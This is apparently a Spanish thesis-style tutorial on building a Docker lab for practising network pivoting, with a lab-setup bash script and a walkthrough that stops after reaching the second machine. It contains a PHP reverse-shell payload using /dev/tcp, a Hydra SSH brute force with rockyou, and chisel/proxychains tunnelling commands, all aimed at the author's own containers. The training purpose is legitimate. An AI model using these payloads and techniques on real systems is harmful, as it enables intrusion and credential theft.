Introducción al Pivoting

TAG -> Artículos

I. CAPÍTULO PRIMERO: PLANTEAMIENTO DEL PROBLEMA

1.1 Antecedentes

En el campo de la ciberseguridad, los laboratorios prácticos son esenciales para el aprendizaje y desarrollo de habilidades técnicas avanzadas. Tradicionalmente, las opciones más utilizadas incluyen plataformas en línea como Hack The Box (HTB) o TryHackMe, que ofrecen escenarios preconfigurados pero con limitaciones en cuanto a personalización. Por otro lado, el uso de máquinas virtuales proporciona mayor flexibilidad, pero su alta demanda de recursos las convierte en una opción poco accesible para usuarios con hardware limitado.

El pivoting, una técnica avanzada utilizada en pruebas de penetración para acceder a redes internas restringidas a través de un punto intermedio comprometido, requiere entornos configurables y controlados. Docker, con su capacidad de contenedorización y gestión avanzada de redes, presenta una alternativa eficiente y ligera para diseñar laboratorios personalizados que permitan la práctica de estas técnicas sin las limitaciones de hardware o la falta de control en plataformas en línea.

1.2 Definición del Problema

Existen pocas soluciones accesibles y ligeras para implementar laboratorios de hacking enfocados en técnicas de pivoting. Las máquinas virtuales suelen ser pesadas y poco eficientes para este propósito, mientras que las plataformas en línea limitan la personalización y el control. Además, no se cuenta con una metodología clara para gestionar de manera ordenada las sesiones prácticas, lo que resulta en entornos desorganizados y una dependencia excesiva de herramientas automatizadas como Metasploit, que pueden opacar el aprendizaje y la comprensión profunda de los procesos.

1.3 Preguntas de Investigación

1. ¿Cómo puede Docker ser utilizado para diseñar laboratorios ligeros y configurables que permitan la práctica de técnicas de pivoting?

2. ¿Cuáles son las ventajas y limitaciones de utilizar Docker en comparación con máquinas virtuales o plataformas en línea para este propósito?

3. ¿Qué metodologías pueden implementarse para mantener un entorno de práctica ordenado y eficiente durante la ejecución de laboratorios de pivoting?

1.4 Objetivos

En este apartado se establecen los propósitos principales y secundarios que guían el desarrollo de esta investigación. Los objetivos buscan abordar la implementación de laboratorios ligeros y configurables en Docker, enfocados en la práctica de técnicas de pivoting, así como en el diseño de una metodología eficiente para llevar a cabo estas actividades. A través del análisis de herramientas, tecnologías y métodos, se pretende ofrecer una solución innovadora que combine flexibilidad, control y rendimiento en el ámbito de la ciberseguridad.

1.4.1 Objetivo General

Implementar laboratorios ligeros y configurables en Docker para la práctica de técnicas de pivoting, desarrollando una metodología que permita un control eficiente durante las sesiones.

1.4.2 Objetivos Específicos

• Analizar las capacidades de Docker para la creación de laboratorios prácticos en ciberseguridad, con énfasis en el uso de técnicas avanzadas de segmentación de redes.

• Diseñar un laboratorio en Docker que permita practicar técnicas de pivoting de manera estructurada y eficiente.

• Establecer una metodología que facilite el orden y el control durante las prácticas, integrando herramientas como pwncat-cs, chisel y socat.

• Comparar el rendimiento y la eficiencia de los laboratorios en Docker frente a otras alternativas como máquinas virtuales o plataformas en línea.

1.5 Metodología

La investigación adoptará un enfoque experimental y práctico, que incluye las siguientes etapas:

1. Revisión bibliográfica: Se investigará la documentación técnica de Docker, herramientas relacionadas y técnicas de pivoting, para comprender sus características y limitaciones.

2. Diseño del laboratorio: Se configurará un entorno práctico en Docker que permita la segmentación de redes y el uso de herramientas manuales para pivoting.

3. Implementación y pruebas: Se probará el laboratorio en diferentes escenarios para evaluar su funcionalidad, rendimiento y capacidad de personalización.

4. Desarrollo de la metodología: Se definirá una guía clara y estructurada para mantener el orden y el control durante las prácticas, con ejemplos prácticos de las herramientas empleadas.

5. Comparación y análisis: Se evaluarán las ventajas y desventajas del laboratorio en Docker frente a las máquinas virtuales y plataformas en línea

6. Documentación y resultados: Se elaborará un informe detallado con los hallazgos, incluyendo recomendaciones y conclusiones

II. CAPÍTULO SEGUNDO: MARCO TEÓRICO

Introducción

En este capítulo se describen los conceptos fundamentales relacionados con la implementación de laboratorios de pivoting en Docker. Se explorarán términos esenciales, herramientas empleadas y la relevancia de las técnicas de segmentación de red en ciberseguridad. El marco teórico se complementará con gráficos, esquemas y tablas para ilustrar los conceptos y facilitar su comprensión.

Conceptos Clave

En este apartado se presentan las nociones fundamentales necesarias para comprender los aspectos técnicos y prácticos de esta tesis. Estos conceptos establecen el marco teórico sobre el cual se basa el desarrollo del proyecto, permitiendo contextualizar las herramientas, metodologías y tecnologías utilizadas. Se abordan temas relacionados con pivoting, Docker, segmentación de red, y herramientas complementarias, los cuales son esenciales para la creación de laboratorios configurables y ligeros en ciberseguridad.

1. Pivoting

• Definición: Técnica utilizada en pruebas de penetración que permite a un atacante usar un sistema comprometido como puente para acceder a otras máquinas dentro de una red interna.

Tipos de pivoting:

• Port Forwarding (Reenvío de Puertos): Redirige el tráfico desde una máquina hacia otra.

• SOCKS Proxy: Establece un proxy que permite acceso a servicios internos.

2. Docker y su Aplicación en Ciberseguridad

Características Principales:

• Contenedorización ligera, reutilización del kernel de Linux, y capacidad de segmentación de red avanzada.

• Ventajas sobre las máquinas virtuales: menor consumo de recursos y mayor rapidez en la configuración.

Capacidades en Ciberseguridad:

• Configuración de redes aisladas.

• Simulación de escenarios de prueba con múltiples máquinas.

• Uso para crear laboratorios dinámicos.

3. Segmentación de Red en Docker

• Definición: División de redes en subredes aisladas para controlar el flujo de tráfico entre contenedores.

• Importancia en el Pivoting: Simula redes corporativas, permite pruebas avanzadas de accesos y rutas de comunicación ademas de que es fácil de implementar en cualquier equipo con bajos recursos.

Técnicas:

• Creación de redes Docker (docker network create).

• Asignación de IP estáticas.

• Uso de bridges y configuración de rutas.

4. Herramientas Complementarias

• pwncat-cs: Herramienta para manejar conexiones remotas con funcionalidades para una mejor metodología en entornos de pivoting.

• proxychains: Herramienta para enrutar el tráfico de aplicaciones a través de proxies como SOCKS4, SOCKS5 y HTTP.

• chisel: Utilidad para establecer túneles basados en TCP/UDP.

• socat: Herramienta versátil para crear proxies y túneles manualmente.

Estructura del Laboratorio en Docker

En esta sección se detalla cómo se organiza el laboratorio práctico en Docker para simular escenarios realistas de ciberseguridad. Se describen los componentes esenciales, las configuraciones necesarias y los pasos específicos para establecer la segmentación de red y permitir la práctica de técnicas de pivoting. Este diseño busca reflejar condiciones cercanas a un entorno corporativo, con redes aisladas y servicios internos.

1. Objetivo del Laboratorio

Simular un entorno realista donde un atacante comprometa una máquina inicial y use pivoting para acceder a otras máquinas en redes internas aisladas.

2. Componentes del Laboratorio

Los elementos que conforman el laboratorio han sido diseñados para reproducir escenarios representativos en un entorno controlado. A continuación, se detallan las características de cada componente:

• Máquina inicial comprometida:

  • Contenedor con un servicio vulnerable, como una aplicación web.

  • Ejemplo: Un servidor Apache con un exploit conocido.

• Red intermedia:

  • Segmento de red que conecta la máquina inicial con una segunda red interna. Configuración: Subred aislada con reglas de acceso específicas.

• Máquina objetivo:

  • Contenedor que simula un servidor interno.

  • Ejemplo: Un servidor de base de datos o un sistema de archivos compartido.

3. Pasos para Configuración de Segmentación de Red en Docker

1. Crear redes personalizadas para cada segmento.

2. Iniciar contenedores asignados a cada red.

3. Configurar rutas manualmente entre redes

4. Representación Gráfica de la Segmentación de Red:

5. Metodología usada para pivoting

Estos son algunos pasos que se llevaran a cabo para llegar a la maquina objetivo:

1. Preparación del entorno: Configurar una máquina atacante con herramientas como chisel, socat, y pwncat-cs.

2. Configurar las víctimas con restricciones de red, simulando escenarios reales.

3. Transferencia de herramientas a la víctima: Una vez que se compromete una máquina víctima, se necesita transferir herramientas para el pivoting.

   • Levantar un servidor HTTP en el atacante.

   • Descargar el binario desde la víctima.

4. Establecer túneles para pivoting:

   • Usando Chisel: Configurar un túnel de red desde la víctima hacia el atacante.

   • Usando Socat: Redirigir tráfico remoto hacia el sistema local.

5. Acceso a sistemas en redes privadas: Ahora, desde el atacante, podemos interactuar con los servicios privados a través del túnel.

6. Automatización con pwncat-cs:

   • Establecer una shell interactiva con capacidades de pivoting:

   • Usar pwncat para enumerar redes y establecer nuevas conexiones.

III CAPÍTULO TERCERO: DESARROLLO

Pasos para resolver el laboratorio

Antes de empezar podemos hacer un script que automatice tanto la creación y borrado del laboratorio, podríamos usar bash para este trabajo, la siguiente imagen muestra la salida del script al ser ejecutado, necesita un comando a ejecutar que en este caso es start y una imagen linux de docker existente en el sistema:

Script de Bash

#!/bin/bash

# Colores
rojo='\033[1;31m'
verde='\033[1;32m'
amarillo='\033[1;33m'
azul='\033[1;34m'
magenta='\033[1;35m'
cyan='\033[1;36m'
negro='\033[0;30m'
gris_claro='\033[0;37m'
blanco='\033[1;37m'
endColour='\033[0m'

function ctrl_c(){
    echo -e "\n\n${rojo}[!] Saliendo...${endColour}\n"
    tput cnorm; exit 1
} # Ctrl+C
trap ctrl_c INT
tput civis

# Función para mostrar panel de ayuda
function helpPanel (){
    echo -e "\n${amarillo}-> ${blanco}INFO:${gris_claro} Este script automatiza la creación de 3 redes"
    echo -e "         y 3 contenedores en Docker para practicar"
    echo -e "         Pivoting, la imagen base se le pasa como"
    echo -e "         argumento, ademas de que el script puede"
    echo -e "         detener y eliminar todo lo referente al Lab."
    echo -e "\n${amarillo}[i]${blanco} Uso:\n"
    echo -e "\t${rojo} h) ${azul}Mostrar este panel de ayuda"
    echo -e "\t${rojo} i) ${azul}Nombre de la imagen Docker a usar${endColour}"
    echo -e "\t${rojo} c) ${azul}Opciones: ${amarillo}start, stop, info ${rojo}(OBLIGATORIO)${endColour}"
    echo -e "\t${rojo} start ${verde}-> ${magenta} Crea ${azul}las redes e ${magenta}inicia ${azul}los 3 contenedores en Docker${endColour}"
    echo -e "\t${rojo} stop  ${verde}-> ${magenta} Detiene ${azul}los contenedores y los ${magenta}elimina ${azul}junto con las redes${endColour}"
    echo -e "\t${rojo} info  ${verde}-> ${azul} Muestra la ${magenta}IP ${azul}de todos los contenedores en ejecución${endColour}\n"
    tput cnorm; exit 1
}

function VerificarImagen(){
    berificar=$(echo $imagen)
    if [[ $berificar == "" ]]; then
        echo -e "\n${rojo}[!] Error:${amarillo} Es obligatorio elegir una ${rojo}imagen docker ${amarillo}para ejecutar ${magenta}start${amarillo}!${endColour}"
        helpPanel
    else
        ResultImages=$(docker images | awk '{print $1}' | grep $imagen)
        if [[ $imagen == $ResultImages ]]; then
            ResultContainers=$(docker ps -a --filter "name=maquina" | grep maquina > /dev/null; echo $?)
            if [[ $ResultContainers -eq 0 ]]; then
                echo -e "\n${rojo}[!] Error:${amarillo} El Laboratorio ya esta desplegado!${endColour}"
                echo -e "${amarillo}[${cyan}+${amarillo}] Use la opción ${magenta}info ${amarillo}o ${magenta}stop${amarillo}!${endColour}"
                helpPanel
            else
                StartContainer
            fi
        else
            echo -e "\n${rojo}[!] Error:${amarillo} La imagen ${rojo}$imagen ${amarillo}no existe en docker!${endColour}"
            echo -e "${amarillo}[${cyan}+${amarillo}] ${verde}Puedes verificar las imagenes disponibles con el comando:"
            echo -e "\n\t${rojo}-> ${azul}docker images"
            helpPanel
        fi
    fi
}

function VerificarContenedores(){
    ResultContainers=$(docker ps --filter "name=maquina" | grep maquina > /dev/null; echo $?)
    if [[ $ResultContainers -eq 0 ]]; then
        echo ""
        InfoContainer
    else
        echo -e "\n${rojo}[!] Error:${amarillo} El Laboratorio no esta desplegado!${endColour}"
        echo -e "${amarillo}[${cyan}+${amarillo}] Use la opción ${magenta}start${amarillo}!${endColour}"
        helpPanel
    fi 
}

# Función para crear las redes
function CreateRedes(){
    
    echo -e "\n${amarillo}[${cyan}+${amarillo}] ${verde}Creando la red ${rojo}pivoting1 ${verde}(${amarillo}Tiene conexión con el host${verde})...\n"
    red1=$(docker network create --subnet=10.10.10.0/24 pivoting1 --attachable)
    echo -e "\t${rojo}-> ${azul}Red ${rojo}pivoting1 ${azul}creada correctamente.\n"
    echo -e "${amarillo}[${cyan}+${amarillo}] ${verde}Creando las otras 2 redes (${amarillo}No tienen conexión con el host${verde})...\n"
    red2=$(docker network create -d macvlan --subnet=20.20.20.0/24 --gateway=20.20.20.1 --internal --opt macvlan_mode=bridge pivoting2)
    echo -e "\t${rojo}-> ${azul}Red ${rojo}pivoting2 ${azul}creada correctamente."
    red3=$(docker network create -d macvlan --subnet=30.30.30.0/24 --gateway=30.30.30.1 --internal --opt macvlan_mode=bridge pivoting3)
    echo -e "\t${rojo}-> ${azul}Red ${rojo}pivoting3 ${azul}creada correctamente."
}

# Función para iniciar contenedores
function StartContainer(){
    log1=$(docker network rm pivoting1 pivoting2 pivoting3 2>/dev/null)
    CreateRedes
    echo -e "\n${amarillo}[${cyan}+${amarillo}]${verde} Imagen Docker a usar: ${rojo}$imagen${endColour}"
    echo -e "${amarillo}[${cyan}+${amarillo}]${verde} Iniciando contenedores...${endColour}\n"
    maq1=$(docker run -d --network=pivoting1 --name maquina1 $imagen bash -c "cd /root/FileUpload/; php -S 0.0.0.0:8080; tail -f")
    echo -e "\t${verde}-> ${rojo}Maquina1 ${azul}desplegada correctamente."
    maq2=$(docker run -d --network=pivoting2 --name maquina2 $imagen bash -c "service apache2 start; service ssh start; tail -f")
    echo -e "\t${verde}-> ${rojo}Maquina2 ${azul}desplegada correctamente."
    maq3=$(docker run -d --network=pivoting3 --name maquina3 $imagen bash -c "service vsftpd start; service mariadb start; source /root/My_env/bin/activate; python3 /home/oscar/ssti/app.py; tail -f /dev/null")
    echo -e "\t${verde}-> ${rojo}Maquina3 ${azul}desplegada correctamente."
    echo -e "\n${amarillo}[${cyan}+${amarillo}] ${verde}Contenedores iniciados correctamente.${endColour}"
    echo -e "${amarillo}[${cyan}+${amarillo}] ${verde}Agregando redes adicionales a cada maquina...${endColour}"
    docker network connect pivoting2 maquina1
    docker network connect pivoting3 maquina2
    echo -e "${amarillo}[${cyan}+${amarillo}] ${azul}Laboratorio de Pivoting desplegado correctamente.${endColour}"
    InfoContainer
}

# Función para detener contenedores
function StopContainer(){
    ResultContainers=$(docker ps -a --filter "name=maquina" | grep maquina > /dev/null; echo $?)
    if [[ $ResultContainers -eq 0 ]]; then
        echo -e "\n${amarillo}[${cyan}!$amarillo] Deteniendo contenedores (${rojo}Puede demorar un poco${amarillo})...${endColour}"
        paso1=$(docker stop maquina1 maquina2 maquina3)
        rmContainer
        rmRedes
    else
        echo -e "\n${rojo}[!] Error:${amarillo} El Laboratorio no esta desplegado!${endColour}"
        echo -e "${amarillo}[${cyan}+${amarillo}] Use la opción ${magenta}start${amarillo}!${endColour}"
        helpPanel
    fi 
}

# Función para eliminar contenedores
function rmContainer(){
    echo -e "${amarillo}[${cyan}!$amarillo] Eliminando contenedores...${endColour}"
    paso2=$(docker rm -f maquina1 maquina2 maquina3)
}

# Función para eliminar redes
function rmRedes(){
    echo -e "${amarillo}[${cyan}!$amarillo] Eliminando redes...${endColour}"
    paso3=$(docker network rm pivoting1 pivoting2 pivoting3)
    echo -e "${amarillo}[${cyan}+${amarillo}] ${verde}Laboratorio eliminado correctamente.\n${endColour}"
}

# Función para mostrar información
function InfoContainer(){
    echo -e "${amarillo}[${cyan}+${amarillo}] ${verde}Mostrando ${rojo}IP ${verde}de los contenedores: \n${endColour}"
    IPmaquina1=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' maquina1)
    IPmaquina2=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' maquina2)
    IPmaquina3=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' maquina3)
    IPmaquina1=$(echo $IPmaquina1 | sed 's/ / | /g')
    IPmaquina2=$(echo $IPmaquina2 | sed 's/ / | /g')
    IPmaquina3=$(echo $IPmaquina3 | sed 's/ //g')
    echo -e "\t${azul}Container ${verde}       Red1         Red2"
    echo -e "\t${amarillo}Maquina1  ${verde}->  ${rojo}$IPmaquina1"
    echo -e "\t${amarillo}Maquina2  ${verde}->  ${rojo}$IPmaquina2"
    echo -e "\t${amarillo}Maquina3  ${verde}->  ${rojo}$IPmaquina3 $(echo -e '|    Null')\n"
    tput cnorm
}

# Manejar las opciones
declare -i parameter_counter=0
while getopts "hi:c:" arg; do
    case $arg in
        h) helpPanel;;
        i) imagen=$OPTARG; let parameter_counter+=1;;
        c) comando=$OPTARG; let parameter_counter+=2;;
    esac
done

if [[ $parameter_counter -eq 2 ]]; then
    if [[ $comando == "info" ]]; then
        VerificarContenedores
    elif [[ $comando == "stop" ]]; then
        StopContainer
    elif [[ $comando == "start" ]]; then
        VerificarImagen
    else
        helpPanel
    fi
else
    if [[ $parameter_counter -eq 3 ]]; then
        if [[ $comando == "start" ]]; then
            VerificarImagen
        elif [[ $comando == "stop" ]]; then
            StopContainer
        elif [[ $comando == "info" ]]; then
            VerificarContenedores
        else
            helpPanel
        fi
    else
        helpPanel
    fi
fi

tput cnorm

Cuando estamos en un entorno real haciendo un pentesting, el objetivo es lograr obtener acceso al sistema mediante un RCE (ejecución remota de comandos), la idea es encontrar una vulnerabilidad en el sistema e inyectar un comando que nos envíe una reverse shell, pero como este es un laboratorio de pivoting, exploremos vulnerabilidades básicas, lo primero que are es identificar el objetivo, el cual el script nos proporciona la IP -> 10.10.10.2, hagamos un ping para verificar conectividad con la maquina1:

ping -c 1 10.10.10.2 -R

Resultado

PING 10.10.10.2 (10.10.10.2) 56(124) bytes of data.
64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=0.124 ms
RR: 	10.10.10.1
	10.10.10.2
	10.10.10.2
	10.10.10.1

--- 10.10.10.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.124/0.124/0.124/0.000 ms

Vemos que tenemos conexión y que es una maquina Linux por su ttl de 64, vallamos al grano, usemos nmap para ver puertos abiertos y posibles vulnerabilidades:

nmap -p- --open -sS --min-rate 5000 -n -Pn -sCV 10.10.10.2 -oN targeted.txt

Resultado

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 00:08 EST
Nmap scan report for 10.10.10.2
Host is up (0.0000040s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    PHP cli server 5.5 or later (PHP 8.2.26)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: M\xC3\xA1quina 1
MAC Address: 02:42:0A:0A:0A:02 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds

nmap nos reporta un solo puerto abierto, el 8080 y nos dice que es una pagina web, esta montado con PHP 8.2.26 y al parecer se desplegó desde terminal, tal vez usando la opción -S, tiene como titulo Maquina 1, vallamos a la web a verla:

Pues nos invita a subir un archivo al servidor, al parecer cualquier tipo de archivo, subamos un archivo php que nos devuelva una reverse shell, usaremos el siguiente código malicioso:

rshell.php

<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.1/1234 0>&1'");
?>

Cuando subimos el archivo podemos ver lo siguiente:

Si verificamos mediante la URL si es verdad, ejemplo:

http://10.10.10.2:8080/rshell.php

Nos devuelve un error 404:

Hagamos un poco de Fuzzing a ver que encontramos, podemos buscar por archivos y directorios usando en este caso la herramienta feroxbuster:

feroxbuster --url http://10.10.10.2:8080/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html -t 200

Resultado

Podemos ver un archivo en el servidor llamado info.txt que dice lo siguiente:

Los archivos subidos al servidor se guardan en un directorio, dichos archivos no son renombrados.

Esto nos da una pista de que el archivo si se guarda en una carpeta pero no nos dice el nombre, podemos usar FuFF para encontrar dicha carpeta de la siguiente manera:

ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.2:8080/FUZZ/rshell.php -t 14

Resultado

Efectivamente, el archivo rshell.php se encuentra dentro de la carpeta archivos, sabiendo esto, nos ponemos en escucha por el puerto 1234 con pwncat-cs:

pwncat-cs :1234

Luego ingresamos a la URL:

http://10.10.10.2:8080/archivos/rshell.php

Y listo, ya hemos vulnerado la maquina1, ahora empieza lo bueno, primero que todo cuando nos entablamos la Reverse Shell usando pwncat-cs, como tal nos da una CLI propia, no una Bash de la maquina victima, esto se debe a que pwncat-cs tiene muchos módulos que nos ayudan a enumerar el equipo victima, veamos los siguientes 2 módulos:

run enumerate.system.network

run enumerate.system.hosts

Resultado

Vemos información muy interesantes, estos 2 módulos usan comandos como:

hosname -I
ip a
ifconfig

Entre otros para determinar las redes e IP asignadas al equipo victima, esto con el fin de saber si existe redes a las cuales no tenemos acceso y este es uno de esos caso, como podemos ver en la salida de los módulos, muestran que la victima tiene 2 IP, una la 10.10.10.2 y otra la 20.20.20.3, es esta segunda IP la cual no tenemos acceso, veamos esto desde nuestra terminal:

En esta imagen podemos ver como claramente los paquetes que enviamos a la segunda interfaz de red se pierden, podemos usar el comando ip -c a y veremos que no tenemos ninguna IP tipo -> 20.20.20.0/24 por lo tanto es aquí donde debemos emplear técnicas de pivoting, aunque no necesariamente y esto lo digo más en el sentido de que ya hemos vulnerado esta maquina, pero el dilema esta en si hay más maquinas aparte de esta, podemos crear en la carpeta /tmp de la victima el siguiente script de Bash y verificar la existencia de más equipos:

#!/bin/bash

function ctrl_c(){ 
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
} # Ctrl + c
trap ctrl_c INT
tput civis

for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 20.20.20.$i" &> /dev/null && echo "[+] Host 20.20.20.$i - ACTIVE" &
done; wait
tput cnorm

En pwncat-cs solo debemos escribir back o simplemente usar Ctrl + d y estaremos dentro de la reverse shell de la victima, con una TTY totalmente interactiva, aun así en mi caso al usar la terminal kitty tengo que exportar la variable TERM:

En esta imagen simplemente me conecto a la Bash de la victima usando Ctrl + d luego exporto la variable TERM, accedo al directorio /tmp creo el archivo HostScan.sh, dentro ingreso el script que previamente puse arriba, doy permisos de ejecución y por ultimo ejecuto dicho script el cual me reporta otro equipo conectado a esa red, por lo cual empezaremos con el pivoting, lo primero es usar chisel en nuestro equipo atacante:

./chisel server --reverse -p 33

Resultado

2025/02/13 00:58:25 server: Reverse tunnelling enabled
2025/02/13 00:58:25 server: Fingerprint MU9Ft0yo3DnUE6l8BK5QEEqX1nvSvSaKLjyVynvz0uU=
2025/02/13 00:58:25 server: Listening on http://0.0.0.0:33

Como en la maquina victima no tenemos chisel podemos usar un servidor local con Python en el directorio donde esta el binario de chisel:

python -m http.server 80

Resultado

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora en la maquina victima usando por ejemplo wget descargamos el binario compartido por nosotros:

Como vemos se descargo correctamente el binario, le dimos permiso de ejecución y lo que prosigue es ejecutar el siguiente comando en la maquina victima:

./chisel client 10.10.10.1:33 R:socks 2>/dev/null & disown

Resultado

Lo que hicimos con ese comando es conectar la maquina victima mediante chisel a nosotros de tal modo que ahora podemos ver los equipos conectados en la red 20.20.20.0/24, pero antes que nada debemos hacer una configuración en local, en nuestro chisel server podemos ver como un equipo se conecto:

2025/02/13 00:58:25 server: Reverse tunnelling enabled
2025/02/13 00:58:25 server: Fingerprint MU9Ft0yo3DnUE6l8BK5QEEqX1nvSvSaKLjyVynvz0uU=
2025/02/13 00:58:25 server: Listening on http://0.0.0.0:33
2025/02/13 01:03:33 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Vemos que es un proxy de tipo socks y esta en escucha por el puerto 1080, para usarlo debemos configurar proxychains, en mi caso el archivo de configuración se encuentra en /etc/proxychains.conf en la ultima parte agregaremos este proxy:

socks5    127.0.0.1     1080

De tal forma que el archivo de configuración podría quedar de la siguiente manera:

# proxychains.conf  VER 4.x

# dynamic_chain: Intenta usar los proxies en la lista de forma secuencial, 
# pero si uno falla, salta al siguiente sin detener la conexión.
dynamic_chain

# random_chain: Selecciona proxies de forma aleatoria de la lista.
# random_chain

# proxy_dns: Resuelve nombres de dominio a través del proxy en lugar de localmente.
# proxy_dns

# Descomenta para mostrar información detallada del tráfico.
# Esto ayuda en la depuración si algo no funciona correctamente.
# verbose = 1

# Desactiva IPv6 si tienes problemas de conectividad o prefieres usar solo IPv4.
# disable_ipv6 = 1

# Redirige los registros detallados a un archivo.
# logfile = /var/log/proxychains.log

# Ignora conexiones locales para evitar enrutar tráfico interno por el proxy.
# Por ejemplo, no enviar tráfico destinado a localhost o a la red 192.168.0.0/16.
# localnet 127.0.0.0/255.0.0.0
# localnet 192.168.0.0/255.255.0.0

# Usa strict_chain para asegurarte de que el tráfico pase por el proxy.
# strict_chain

# Define tiempo de espera en milisegundos para las conexiones.
tcp_read_time_out 15000
tcp_connect_time_out 8000

# Lista de proxies a usar.
[ProxyList]

# socks5: protocolo utilizado para los proxies en la lista.
# http:   protocolo utilizado para el proxy.
# host:   dirección IP del proxy.
# port:   puerto donde escucha el proxy.

# Si el proxy requiere autenticación, agrega las credenciales en la lista.
# http    192.168.43.1   8080    username    password
# socks5  192.168.43.2   1080    myuser      mypass
# http    192.168.43.1   8080

# Pivoting
socks5    127.0.0.1     1080

Ahora guardamos y podemos probar el siguiente comando:

proxychains nmap -F --open -T5 -v -n 20.20.20.2 -sT -Pn 2>&1 | grep -vE "timeout|OK"

Resultado

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 01:13 EST
Initiating Connect Scan at 01:13
Scanning 20.20.20.2 [100 ports]
Discovered open port 22/tcp on 20.20.20.2
Discovered open port 80/tcp on 20.20.20.2
Completed Connect Scan at 01:13, 0.11s elapsed (100 total ports)
Nmap scan report for 20.20.20.2
Host is up (0.00042s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

Y ahora si podemos ver como una maquina a la cual no teníamos acceso por reglas de segmentación de red, ahora si tenemos acceso mediante pivoting, como vemos 2 puertos abiertos podemos enumerar un poco más a ver que encontramos:

proxychains nmap -sT -Pn -sCV -p 22,80 20.20.20.2 2>&1 | grep -v proxychains

Resultado

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 01:16 EST
Nmap scan report for 20.20.20.2
Host is up (0.0018s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 27:16:1a:35:7d:3d:aa:dd:29:33:98:7b:76:b9:2b:44 (ECDSA)
|_  256 29:d0:10:17:2d:91:77:bb:50:ba:46:80:4d:4b:14:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: M\xC3\xA1quina 2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.77 seconds

Podemos ver como el puerto 22 corre el servicio ssh y el 80 una pagina web, veamos que contiene, pero de primeras nos da error y aquí es donde debemos tener en cuenta que, por ejemplo para ver la maquina2 estamos usando el proxy que configuramos con chisel mediante proxychains sin proxychains no veríamos la maquina2, entonces que podemos hacer desde el explorador, pues fácil debemos usar alguna extensión tipo FoxyProxy y configurarlo como lo hicimos con proxychains:

Con esta configuración ahora si podemos ver el contenido de la maquina2:

Y en esta web, podemos ver como mencionan a un usuario llamado oscar el cual sera el único en el servidor, tenemos un potencial usuario y si recordamos anteriormente, ssh estaba activo en el servidor, procedemos a hacer un ataque de fuerza bruta con Hydra usando siempre proxychains:

proxychains hydra -l oscar -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt ssh://20.20.20.2:22 -t 4 -vV 2>/dev/null 

Resultado

La linea importante es:

[22][ssh] host: 20.20.20.2   login: oscar   password: nicole

Hydra logro encontrar la credenciales de oscar la cual es nicole, utilizando pwncat-cs podemos conectarnos de la siguiente manera (Antes que nada debemos cerrar la sesion actual con la maquina1 y abrir pwncat con proxychains):

proxychains pwncat-cs :1234

Luego simplemente entrando a la URL donde esta rshell.php estamos de nuevo dentro, ahora si usando el siguiente comando nos podemos conectar a la maquina2:

connect ssh://oscar:nicole@20.20.20.2

Resultado

Y ya estamos dentro de la maquina2 pero hay que tener en cuenta algunas cosas, que hubiera pasado si en vez de conectarnos por ssh lo hubiéramos echo mediante una Reverse Shell, pues no hubiera funcionado, entonces ¿Por qué mediante ssh si pudimos?, lo que pasa es que usando chisel nosotros podemos ver la maquina2, pero ella a nosotros no nos ve, por lo tanto al intentar entablar una Reverse Shell no podemos especificarle nuestra IP porque la maquina2 no tiene alcance a esa IP, entonces ¿Cómo podemos lograr que nos vea? lo veremos más adelante, ya que en este caso al ya tener conexión mediante ssh no es necesario, de igual modo, el proceso que se llevara a cabo más adelante es igual que el que se tendría que llevar en este caso, primero veamos que redes tiene la maquina2 esta vez de forma manual.

Podemos ver 2 interfaces de red, la primera conectada a la maquina1 y la segunda posiblemente a otro equipo, como podemos verificar eso, igual que como en la maquina1:

#!/bin/bash

function ctrl_c(){ 
    echo -e "\n\n[!] Saliendo...\n"
    tput cnorm; exit 1
} # Ctrl + c
trap ctrl_c INT
tput civis

for i in $(seq 1 254); do
    timeout 1 bash -c "ping -c 1 30.30.30.$i" &> /dev/null && echo "[+] Host 30.30.30.$i - ACTIVE" &
done; wait
tput cnorm

Accedemos a /tmp, luego creamos el script HostScan.sh le damos permiso de ejecución y por ultimo vemos los resultados, una nueva maquina que vulnerar -> 30.30.30.2, pero antes de seguir, como adicional podemos ver que no estamos como root en la maquina2 ya que nos conectamos como oscar:

